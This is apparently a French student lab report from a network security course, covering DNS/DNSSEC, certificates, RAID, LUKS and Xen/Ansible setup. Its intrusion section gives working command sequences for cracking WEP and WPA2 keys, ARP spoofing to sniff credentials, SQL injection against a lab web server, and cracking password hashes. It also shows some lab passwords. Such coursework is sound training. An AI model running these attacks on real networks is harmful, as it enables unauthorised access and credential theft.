 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
